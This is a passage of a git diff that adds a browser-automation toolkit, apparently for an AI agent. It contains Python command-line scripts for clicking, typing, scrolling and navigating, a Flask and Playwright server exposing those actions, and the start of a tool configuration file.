a/tools/web_browser/bin/move_mouse b/tools/web_browser/bin/move_mouse new file mode 100755 index 0000000..47f88ea --- /dev/null +++ b/tools/web_browser/bin/move_mouse @@ -0,0 +1,35 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def move(x, y): + """Move mouse to the specified coordinates (x, y).""" + response = send_request(config.port, "move", "POST", {"x": x, "y": y, "return_screenshot": config.autoscreenshot}) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("x", type=int) + parser.add_argument("y", type=int) + args = parser.parse_args() + move(args.x, args.y) diff --git a/tools/web_browser/bin/navigate_back b/tools/web_browser/bin/navigate_back new file mode 100755 index 0000000..a9ddb2b --- /dev/null +++ b/tools/web_browser/bin/navigate_back @@ -0,0 +1,33 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def back(): + """Navigate back in the browser history.""" + response = send_request(config.port, "back", "POST", {"return_screenshot": config.autoscreenshot}) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + args = parser.parse_args() + back() diff --git a/tools/web_browser/bin/navigate_forward b/tools/web_browser/bin/navigate_forward new file mode 100755 index 0000000..4483782 --- /dev/null +++ b/tools/web_browser/bin/navigate_forward @@ -0,0 +1,33 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def forward(): + """Navigate forward in the browser history.""" + response = send_request(config.port, "forward", "POST", {"return_screenshot": config.autoscreenshot}) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + args = parser.parse_args() + forward() diff --git a/tools/web_browser/bin/open_site b/tools/web_browser/bin/open_site new file mode 100755 index 0000000..c59d58b --- /dev/null +++ b/tools/web_browser/bin/open_site @@ -0,0 +1,36 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def open(url): + """Open the specified website URL.""" + if Path(url).is_file(): + url = f"file://{Path(url).resolve()}" + response = send_request(config.port, "goto", "POST", {"url": url, "return_screenshot": config.autoscreenshot}) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("url", type=str, help="The URL of the website to open") + args = parser.parse_args() + open(args.url) diff --git a/tools/web_browser/bin/press_keys_on_page b/tools/web_browser/bin/press_keys_on_page new file mode 100755 index 0000000..0de0374 --- /dev/null +++ b/tools/web_browser/bin/press_keys_on_page @@ -0,0 +1,51 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_error, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def keypress(keys): + """Press the specified keys. Keys should be a JSON string like '["ctrl", "c"]'.""" + import json + + try: + keys_data = json.loads(keys) + except json.JSONDecodeError: + _print_error("Keys must be valid JSON") + return + response = send_request( + config.port, + "keypress", + "POST", + {"keys": keys_data, "return_screenshot": config.autoscreenshot}, + ) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument( + "keys", + type=str, + help='The keys to press (JSON string like \'["ctrl", "c"]\')', + ) + args = parser.parse_args() + keypress(args.keys) diff --git a/tools/web_browser/bin/reload_page b/tools/web_browser/bin/reload_page new file mode 100755 index 0000000..8d69560 --- /dev/null +++ b/tools/web_browser/bin/reload_page @@ -0,0 +1,33 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def reload(): + """Reload the current webpage.""" + response = send_request(config.port, "reload", "POST", {"return_screenshot": config.autoscreenshot}) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + args = parser.parse_args() + reload() diff --git a/tools/web_browser/bin/run_web_browser_server b/tools/web_browser/bin/run_web_browser_server new file mode 100755 index 0000000..e3fa950 --- /dev/null +++ b/tools/web_browser/bin/run_web_browser_server @@ -0,0 +1,394 @@ +#!/root/python3.11/bin/python3 +"""Web Browser server ‒ Flask + Playwright backend.""" + +from __future__ import annotations + +import atexit +import functools +import signal +import sys +import time +from pathlib import Path +from typing import Any + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from browser_manager import BrowserManager +from flask import Flask, Response, jsonify, request +from web_browser_config import ServerConfig +from web_browser_utils import catch_error, normalize_url, validate_request + +config = ServerConfig() + + +browser_manager = BrowserManager() + + +def cleanup_on_exit(): + """Cleanup function for atexit and signal handlers.""" + browser_manager.cleanup() + + +def signal_handler(signum, frame): + """Handle shutdown signals.""" + print(f"\nReceived signal {signum}, shutting down...") + cleanup_on_exit() + sys.exit(0) + + +# register cleanup handlers +atexit.register(cleanup_on_exit) +signal.signal(signal.SIGINT, signal_handler) +signal.signal(signal.SIGTERM, signal_handler) + + +app = Flask(__name__) + + +def require_website_open(func): + """Decorator to ensure a website is open before executing the route.""" + + @functools.wraps(func) + def wrapper(*args, **kwargs): + if not browser_manager.is_website_open(): + return create_response({"status": "error", "message": "Please open a website first."}, False) + return func(*args, **kwargs) + + return wrapper + + +def _get_response_metadata() -> dict[str, Any]: + """Gather comprehensive metadata for API responses.""" + metadata = {} + if browser_manager.is_website_open(): + metadata["Browser Type"] = browser_manager.browser_name + metadata["Mouse Position"] = f"({browser_manager.mouse_x},{browser_manager.mouse_y})" + metadata["Viewport Size"] = f"{browser_manager.window_width}×{browser_manager.window_height}" + with browser_manager._browser_lock() as page: + metadata["Current URL"] = page.url + metadata["Page Title"] = page.title() + + scroll_info = page.evaluate("""() => ({ + scroll_position: { x: window.pageXOffset || document.documentElement.scrollLeft, y: window.pageYOffset || document.documentElement.scrollTop }, + page_dimensions: { width: document.documentElement.scrollWidth, height: document.documentElement.scrollHeight }, + visible_dimensions: { width: window.innerWidth, height: window.innerHeight } + })""") + scroll_pos = scroll_info["scroll_position"] + page_dims = scroll_info["page_dimensions"] + visible_dims = scroll_info["visible_dimensions"] + metadata["Scroll Position"] = f"({scroll_pos['x']},{scroll_pos['y']})" + metadata["Page Dimensions"] = f"{page_dims['width']}×{page_dims['height']}" + metadata["Visible Dimensions"] = f"{visible_dims['width']}×{visible_dims['height']}" + return metadata + + +def create_response(data: dict[str, Any], return_screenshot: bool) -> Response: + """Create a JSON response with comprehensive metadata and optional screenshot.""" + response_data = {**data} + if return_screenshot: + response_data.update(browser_manager.take_screenshot()) + if "metadata" not in response_data: + response_data["metadata"] = {} + response_data["metadata"].update(_get_response_metadata()) + return jsonify(response_data) + + +@app.route("/info", methods=["GET"]) +@catch_error +def info(): + if not browser_manager.is_website_open(): + return create_response({"status": "success", "message": "No page open"}, False) + data = { + "status": "success", + "message": "Loaded info for current page", + } + return create_response(data, False) + + +@app.route("/close", methods=["POST"]) +@catch_error +def close_browser(): + browser_manager.cleanup() + browser_manager._init_browser() + return create_response({"status": "success", "message": "Closed browser"}, False) + + +@app.route("/set_window_size", methods=["POST"]) +@validate_request("width", "height", "return_screenshot") +@require_website_open +@catch_error +def set_window_size(): + width, height = request.json["width"], request.json["height"] + return_screenshot = request.json["return_screenshot"] + if width <= 0 or height <= 0: + return create_response( + {"status": "error", "message": f"Invalid dimensions ({width},{height}). Must be positive"}, False + ) + with browser_manager._browser_lock() as page: + page.set_viewport_size({"width": width, "height": height}) + browser_manager.window_width = width + browser_manager.window_height = height + browser_manager.constrain_mouse_position(page) + data = {"status": "success", "message": f"Set viewport to {width}×{height}"} + return create_response(data, return_screenshot) + + +@app.route("/screenshot", methods=["GET"]) +@require_website_open +def screenshot(): + data = {"status": "success", "message": "Screenshot"} + return create_response(data, True) + + +@app.route("/click", methods=["POST"]) +@validate_request("x", "y", "button", "return_screenshot") +@catch_error +@require_website_open +def click(): + x, y = round(request.json["x"]), round(request.json["y"]) + button = request.json["button"] + return_screenshot = request.json["return_screenshot"] + x_valid, y_valid = browser_manager.validate_coordinates(x, y) + if not x_valid or not y_valid: + return create_response( + { + "status": "error", + "message": f"Invalid coordinates ({x},{y}). Must be within {browser_manager.window_width}x{browser_manager.window_height}", + }, + False, + ) + with browser_manager._browser_lock() as page: + page.mouse.click(x, y, button=button) + browser_manager.mouse_x, browser_manager.mouse_y = x, y + data = {"status": "success", "message": f"Clicked '{button}' at ({x},{y})"} + return create_response(data, return_screenshot) + + +@app.route("/double_click", methods=["POST"]) +@validate_request("x", "y", "return_screenshot") +@catch_error +@require_website_open +def double_click(): + x, y = round(request.json["x"]), round(request.json["y"]) + return_screenshot = request.json["return_screenshot"] + x_valid, y_valid = browser_manager.validate_coordinates(x, y) + if not x_valid or not y_valid: + return create_response( + { + "status": "error", + "message": f"Invalid coordinates ({x},{y}). Must be within {browser_manager.window_width}x{browser_manager.window_height}", + }, + False, + ) + with browser_manager._browser_lock() as page: + page.mouse.dblclick(x, y) + browser_manager.mouse_x, browser_manager.mouse_y = x, y + data = {"status": "success", "message": f"Double‑clicked at ({x},{y})"} + return create_response(data, return_screenshot) + + +@app.route("/move", methods=["POST"]) +@validate_request("x", "y", "return_screenshot") +@catch_error +@require_website_open +def move(): + x, y = request.json["x"], request.json["y"] + return_screenshot = request.json["return_screenshot"] + x_valid, y_valid = browser_manager.validate_coordinates(x, y) + if not x_valid or not y_valid: + return create_response( + { + "status": "error", + "message": f"Invalid coordinates ({x},{y}). Must be within {browser_manager.window_width}x{browser_manager.window_height}", + }, + False, + ) + with browser_manager._browser_lock() as page: + page.mouse.move(x, y) + browser_manager.mouse_x, browser_manager.mouse_y = x, y + data = {"status": "success", "message": f"Moved mouse to ({x},{y})"} + return create_response(data, return_screenshot) + + +@app.route("/drag", methods=["POST"]) +@validate_request("path", "return_screenshot") +@catch_error +@require_website_open +def drag(): + path: list[list[int]] = request.json["path"] + return_screenshot = request.json["return_screenshot"] + if not path or len(path) < 2: + return create_response({"status": "error", "message": "Path needs at least two points"}, False) + for ix, point in enumerate(path): + if len(point) != 2: + return create_response( + {"status": "error", "message": f"Path point {ix} must have exactly 2 coordinates"}, False + ) + x, y = point + x_valid, y_valid = browser_manager.validate_coordinates(x, y) + if not x_valid or not y_valid: + return create_response( + { + "status": "error", + "message": f"Invalid coordinates ({x},{y}) at path point {ix}. Must be within {browser_manager.window_width}x{browser_manager.window_height}", + }, + False, + ) + + with browser_manager._browser_lock() as page: + page.mouse.move(*path[0]) + page.mouse.down() + for x, y in path[1:]: + page.mouse.move(x, y) + page.mouse.up() + browser_manager.mouse_x, browser_manager.mouse_y = path[-1] + data = {"status": "success", "message": "Dragged the mouse along the path"} + return create_response(data, return_screenshot) + + +@app.route("/type", methods=["POST"]) +@validate_request("text", "return_screenshot") +@catch_error +@require_website_open +def type_(): + text = request.json["text"] + return_screenshot = request.json["return_screenshot"] + with browser_manager._browser_lock() as page: + page.keyboard.type(text) + data = {"status": "success", "message": f"Typed '{text}'"} + return create_response(data, return_screenshot) + + +@app.route("/scroll", methods=["POST"]) +@validate_request("scroll_x", "scroll_y", "return_screenshot") +@catch_error +@require_website_open +def scroll(): + delta_x, delta_y = request.json["scroll_x"], request.json["scroll_y"] + return_screenshot = request.json["return_screenshot"] + with browser_manager._browser_lock() as page: + page.mouse.wheel(delta_x, delta_y) + data = {"status": "success", "message": f"Scrolled by ({delta_x},{delta_y})"} + return create_response(data, return_screenshot) + + +@app.route("/execute_script", methods=["POST"]) +@validate_request("script", "return_screenshot") +@catch_error +@require_website_open +def exec_script(): + script = request.json["script"] + return_screenshot = request.json["return_screenshot"] + with browser_manager._browser_lock() as page: + result = page.evaluate(script) + data = {"status": "success", "message": (f"Script executed.\n\n{result}\n")} + return create_response(data, return_screenshot) + + +@app.route("/back", methods=["POST"]) +@validate_request("return_screenshot") +@catch_error +@require_website_open +def back(): + return_screenshot = request.json["return_screenshot"] + with browser_manager._browser_lock() as page: + page.go_back() + data = {"status": "success", "message": "Navigated back"} + return create_response(data, return_screenshot) + + +@app.route("/forward", methods=["POST"]) +@validate_request("return_screenshot") +@catch_error +@require_website_open +def forward(): + return_screenshot = request.json["return_screenshot"] + with browser_manager._browser_lock() as page: + page.go_forward() + data = {"status": "success", "message": "Navigated forward"} + return create_response(data, return_screenshot) + + +@app.route("/reload", methods=["POST"]) +@validate_request("return_screenshot") +@catch_error +@require_website_open +def reload(): + return_screenshot = request.json["return_screenshot"] + with browser_manager._browser_lock() as page: + page.reload() + data = {"status": "success", "message": "Reloaded the page"} + return create_response(data, return_screenshot) + + +@app.route("/wait", methods=["POST"]) +@validate_request("ms", "return_screenshot") +@catch_error +@require_website_open +def wait(): + milliseconds = request.json["ms"] + return_screenshot = request.json["return_screenshot"] + time.sleep(milliseconds / 1000.0) + data = {"status": "success", "message": f"Waited {milliseconds} ms"} + return create_response(data, return_screenshot) + + +@app.route("/keypress", methods=["POST"]) +@validate_request("keys", "return_screenshot") +@catch_error +@require_website_open +def keypress(): + keys: list[str] = request.json["keys"] + return_screenshot = request.json["return_screenshot"] + if not isinstance(keys, list): + return create_response({"status": "error", "message": "Keys must be a list"}, False) + if not keys: + return create_response({"status": "error", "message": "Keys list empty"}, False) + with browser_manager._browser_lock() as _: + for key in keys[:-1]: + browser_manager.key_down(key) + browser_manager.key_press(keys[-1]) + for key in reversed(keys[:-1]): + browser_manager.key_up(key) + data = {"status": "success", "message": f"Pressed keys {keys}"} + return create_response(data, return_screenshot) + + +@app.route("/goto", methods=["POST"]) +@validate_request("url", "return_screenshot") +@catch_error +def goto(): + url = normalize_url(request.json["url"]) + return_screenshot = request.json["return_screenshot"] + with browser_manager._browser_lock() as page: + page.goto(url, wait_until="load") + data = {"status": "success", "message": f"Navigated to {url}"} + return create_response(data, return_screenshot) + + +@app.route("/console", methods=["GET"]) +@catch_error +@require_website_open +def get_console(): + console_messages = browser_manager.get_console_output() + data = { + "status": "success", + "message": f"Retrieved {len(console_messages)} console messages", + "console_messages": console_messages, + } + return create_response(data, False) + + +def main(): + """Run the Flask server with proper cleanup handling.""" + try: + app.run(host="0.0.0.0", port=config.port, threaded=False, use_reloader=False) + except KeyboardInterrupt: + print("\nShutting down gracefully...") + finally: + cleanup_on_exit() + + +if __name__ == "__main__": + main() diff --git a/tools/web_browser/bin/screenshot_site b/tools/web_browser/bin/screenshot_site new file mode 100755 index 0000000..df5ea3b --- /dev/null +++ b/tools/web_browser/bin/screenshot_site @@ -0,0 +1,38 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + ScreenshotMode, + _handle_screenshot, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def screenshot(): + """Capture a screenshot and handle it according to the default config.screenshot_mode.""" + response = send_request(config.port, "screenshot", "GET") + if response is None: + return + screenshot_data = response["screenshot"] + _print_response_with_metadata(response) + if config.screenshot_mode == ScreenshotMode.SAVE: + _handle_screenshot(screenshot_data, ScreenshotMode.SAVE) + else: + _handle_screenshot(screenshot_data, ScreenshotMode.PRINT) + + +if __name__ == "__main__": + parser = ArgumentParser() + args = parser.parse_args() + screenshot() diff --git a/tools/web_browser/bin/scroll_on_page b/tools/web_browser/bin/scroll_on_page new file mode 100755 index 0000000..407e2ec --- /dev/null +++ b/tools/web_browser/bin/scroll_on_page @@ -0,0 +1,40 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def scroll(scroll_x, scroll_y): + """Scroll by (scroll_x, scroll_y) pixels at current mouse position.""" + response = send_request( + config.port, + "scroll", + "POST", + {"scroll_x": scroll_x, "scroll_y": scroll_y, "return_screenshot": config.autoscreenshot}, + ) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("scroll_x", type=int, help="The number of pixels to scroll horizontally") + parser.add_argument("scroll_y", type=int, help="The number of pixels to scroll vertically") + args = parser.parse_args() + scroll(args.scroll_x, args.scroll_y) diff --git a/tools/web_browser/bin/set_browser_window_size b/tools/web_browser/bin/set_browser_window_size new file mode 100755 index 0000000..88fc646 --- /dev/null +++ b/tools/web_browser/bin/set_browser_window_size @@ -0,0 +1,40 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def set_window_size(width, height): + """Set the browser window size to the specified width and height.""" + response = send_request( + config.port, + "set_window_size", + "POST", + {"width": width, "height": height, "return_screenshot": config.autoscreenshot}, + ) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("width", type=int, help="The new width of the browser window") + parser.add_argument("height", type=int, help="The new height of the browser window") + args = parser.parse_args() + set_window_size(args.width, args.height) diff --git a/tools/web_browser/bin/type_text b/tools/web_browser/bin/type_text new file mode 100755 index 0000000..67ada96 --- /dev/null +++ b/tools/web_browser/bin/type_text @@ -0,0 +1,34 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def type(text): + """Type the given text at the current cursor position.""" + response = send_request(config.port, "type", "POST", {"text": text, "return_screenshot": config.autoscreenshot}) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("text", type=str, help="The text to type at the currently focused element") + args = parser.parse_args() + type(args.text) diff --git a/tools/web_browser/bin/wait_time b/tools/web_browser/bin/wait_time new file mode 100755 index 0000000..87e8fce --- /dev/null +++ b/tools/web_browser/bin/wait_time @@ -0,0 +1,39 @@ +#!/root/python3.11/bin/python3 +from __future__ import annotations + +import sys +from argparse import ArgumentParser +from pathlib import Path + +lib_path = str(Path(__file__).resolve().parent.parent / "lib") +sys.path.insert(0, lib_path) + +from web_browser_config import ClientConfig +from web_browser_utils import ( + _autosave_screenshot_from_response, + _print_response_with_metadata, + send_request, +) + +config = ClientConfig() + + +def wait(ms): + """Wait for the specified number of milliseconds.""" + response = send_request( + config.port, + "wait", + "POST", + {"ms": ms, "return_screenshot": config.autoscreenshot}, + ) + if response is None: + return + _print_response_with_metadata(response) + _autosave_screenshot_from_response(response, config.screenshot_mode) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("ms", type=int, help="The number of milliseconds to wait") + args = parser.parse_args() + wait(args.ms) diff --git a/tools/web_browser/config.yaml b/tools/web_browser/config.yaml new file mode 100644 index 0000000..e250404 --- /dev/null +++ b/tools/web_browser/config.yaml @@ -0,0 +1,155 @@ +tools: + open_site: + signature: "open_site " + docstring: "Open the specified website URL or local file path" + arguments: + - name: url + type: string + description: "The URL to open (can be a web URL or file path)" + required: true + + close_site: + signature: "close_site" + docstring: "Close the currently open browser window" + arguments: [] + + screenshot_site: + signature: "screenshot_site" + docstring: "Take a screenshot of the current page" + arguments: [] + + click_mouse: + signature: "click_mouse [